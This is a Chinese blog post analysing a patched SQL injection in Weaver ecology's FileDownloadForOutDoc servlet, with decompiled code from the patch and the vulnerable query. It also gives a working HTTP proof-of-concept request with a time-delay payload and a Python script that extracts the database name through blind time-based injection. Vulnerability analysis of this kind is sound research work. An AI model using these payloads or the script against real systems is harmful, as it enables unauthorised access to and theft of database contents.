首页 > 数据库 >泛微ecology FileDownloadForOutDoc-前台sql注入

泛微ecology FileDownloadForOutDoc-前台sql注入

时间:2023-07-17 15:11:56浏览次数:56  
标签:ecology sql isFromOutImg fileidStr headers time weaver FileDownloadForOutDoc fil

厂商发布漏洞补丁

Ecology_security_20230707_v9.0_v10.58.0.zip

https://www.weaver.com.cn/cs/package/Ecology_security_20230707_v9.0_v10.58.0.zip?v=2023070700

分析补丁文件

ecology\WEB-INF\myclasses\weaver\security\rules\ruleImp\SecurityRuleForOutDocForSql.class

if (path.indexOf("weaver") != -1 && path.indexOf("file") != -1 && path.indexOf("filedownloadforoutdoc") != -1) {
                String fileidStr = req.getParameter("fileid");
                String isFromOutImg = Util.null2String(req.getParameter("isFromOutImg"));
                if ("1".equals(isFromOutImg) && !"".equals(fileidStr) && sc.getIntValue(fileidStr) < 0) {
                    sc.writeLog(">>>>Xss(Validate failed[Perssion reject]) validateClass=weaver.security.rules.SecurityRuleForOutDocForSql  path=" + req.getRequestURI() + " fileid = " + req.getParameter("fileid") + "  fileiddes = " + fileidStr + " security validate failed!  source ip:" + ThreadVarManager.getIp());
                    return false;
                }
            }

如果路径上包含了"weaver"、"file"和"filedownloadforoutdoc"

获取fileidisFromOutImg的值

检查如果参数isFromOutImg的值等于"1",fileidStr的值不为空,且将fileidStr转换为整数后的值小于0:

​ 则在日志中记录一条消息,指示验证失败,并提供一些相关信息,如请求的路径、fileid的值以及一些其他相关信息。

​ 返回false

FileDownloadForOutDoc.class

通过补丁文件找到对应文件WEAVER\ecology\classbean\weaver\file\FileDownloadForOutDoc.class

String var3 = var1.getParameter("fileid");

        try {
            String var4 = Util.null2String(var1.getParameter("isFromOutImg"));
            //检查isFromOutImg的值等于1
            if ("1".equals(var4)) {
                RecordSet var5 = new RecordSet();
                //直接将fileid拼接到sql语句中
                var5.executeQuery("select COMEFROM from imagefile where imagefileid=" + var3, new Object[0]);
                if (var5.next()) {
                    String var6 = Util.null2String(var5.getString(1));
                    if (!"DocPreviewHtmlImage".equals(var6)) {
                        return;
                    }
                }
            } 

可以看到当isFromOutImg的值为1的时候,会执行sql语句select COMEFROM from imagefile where imagefileid=fileid,fileid参数未过滤导致sql注入

POC

POST /weaver/weaver.file.FileDownloadForOutDoc HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 47

fileid=2 waitfor delay '0:0:3'&isFromOutImg=1

简单写个python脚本跑个库名

import requests,urllib3
import time

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
url = "url"
headers={"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0",
			 "Content-Type": "application/x-www-form-urlencoded"}
result_str = ""
num=0
for i in range(1, 30):
    payload1="fileid=2+if ((select count(*) from master.dbo.sysdatabases where dbid=5 and len(name)=%d"%i+")=1) waitfor delay '0:0:3'&isFromOutImg=1"
    time.sleep(0.15)
    time1 = time.time()
    res = requests.post(url, data=payload1,headers=headers,verify=False)
    time2 = time.time()
    if time2 - time1 > 3:
        num=i
        print("库名长度:"+str(num))
        break

for i in range(1, num+1):
    time.sleep(1.0)
    for j in range(32, 127):
        payload="fileid=2+if+(ascii(substring((select+top+1+name+from+master.dbo.sysdatabases+where+dbid=5),%d,1))+="%i + hex(j) +")+WAITFOR+DELAY+'0:0:4'&isFromOutImg=1"
        time.sleep(0.15)
        time1 = time.time()
        res = requests.post(url, data=payload,headers=headers,verify=False)
        time2 = time.time()
        if time2 - time1 > 3:
            result_str += chr(j)
            print(result_str)
            break

标签:ecology,sql,isFromOutImg,fileidStr,headers,time,weaver,FileDownloadForOutDoc,fil
From: https://www.cnblogs.com/uein/p/17560138.html

相关文章

  • 安全相关--SQL注入
    SQL注入的原因SQL注入的原因是由于特殊符号的组合会产生特殊的效果实际生活中尤其是在注册用户名的时候会非常明显的提示你很多特殊符号不能用因此我们在设计到敏感数据部分不要自己拼接交给现成的方法拼接即可pycharm操作MySQLimportpymysqlconn=pymysql.connect(......
  • mysql报错:You must reset your password using ALTER USER statement before executin
    mysql报错:YoumustresetyourpasswordusingALTERUSERstatementbeforeexecutingthisstatement.新安装mysql后,登录后,执行任何命令都会报错:YoumustresetyourpasswordusingALTERUSERstatementbeforeexecutingthisstatement. 【解决办法】MySQL版本5.7.6版本......
  • MySql 8.0 设置允许远程登录授权
    MySQL连接出现isnotallowedtoconnecttothisMySQLServer错误提示打开MySQL8.0CommandLineClient1.打开远程连接mysql>usemysql;mysql>updateusersetuser.Host=’%’whereuser.User=‘root’;mysql>flushprivileges;mysql>selecthost,userfromuse......
  • MySQL中对JSON数据操作(较全)
    MySQL对JSON数据操作链接:(160条消息)【MySQL】对JSON数据操作(全网最全)_mysqljson_0世界和平0的博客-CSDN博客创建json格式字段CREATETABLE`dept`(`id`int(11)NOTNULL,`dept`varchar(255)DEFAULTNULL,`json_value`jsonDEFAULTNULL,PRIMARYKEY(`id......
  • sqlsever ip连接 navicat 连报错 sql server 设sa密码
    一、sqlserverip连接1、按下windows+R,弹出运行框。2、在弹出框中输入cmd,按下enter键。3、在dos命令窗口输入compmgmt.msc命令,按下enter键。将服务中:SQLServer(mssqlserver)、SqlServerBrowser启动 4、在计算机管理窗口-》展开服务和应用程序-》展开SQLServer配置管理......
  • python连接Mysql 1-01
    一,下载对应python环境的MySQL连接包我的是python3所以下载的是这个(cmd)pip3installPyMySQL二,创建py文件编写importpymysql#打开数据库连接db=pymysql.connect(host='localhost',user='root',password='123456',db='test1')#使用cursor()方法创建一个游......
  • PostgreSQL中一个索引的三种不同的扫描类型: 位图、索引和仅索引
    性能是数据库管理系统的基本要素之一。性能低下意味着查询时间过长和前端响应时间过高。提高性能的最有效方法之一是为表列建立适当的索引。索引可以节省大量的数据访问时间,并引导查询以最快的方式收集结果。在PostgreSQL中,有不同的方法可以利用索引来产生最有效的计划。本文中,我......
  • PostgreSQL 常用函数(一)
    函数(function)是一些预定义好的代码模块,可以将输入进行计算和处理,最终输出一个结果值。PostgreSQL函数可以分为两类:标量函数(scalarfunction)和聚合函数(aggregationfunction)。标量函数针对每个输入都会返回相应的结果,聚合函数针对一组输入汇总出一个结果。为了便于学习,可以将常见的......
  • 一文搞懂为什么Mysql索引会失效
    在工作中,如果我们想提高一条语句查询速度,通常都会想对字段建立索引。 但是索引并不是万能的。建立了索引,并不意味着任何查询语句都能走索引扫描。稍不注意,可能你写的查询语句是会导致索引失效,从而走了全表扫描,虽然查询的结果没问题,但是查询的性能大大降低。今天就来跟大家盘......
  • 90%的程序员都不知道Mysql索引下推
    索引下推(IndexConditionPushdown)ICP是Mysql5.6之后新增的功能,主要的核心点就在于把数据筛选的过程放在了存储引擎层去处理,而不是像之前一样放到Server层去做过滤。虽然这是一个比较简单的概念,但是可能很多不细心的同学对于索引下推会存在一个小小的误区,至于是什么,请看下文......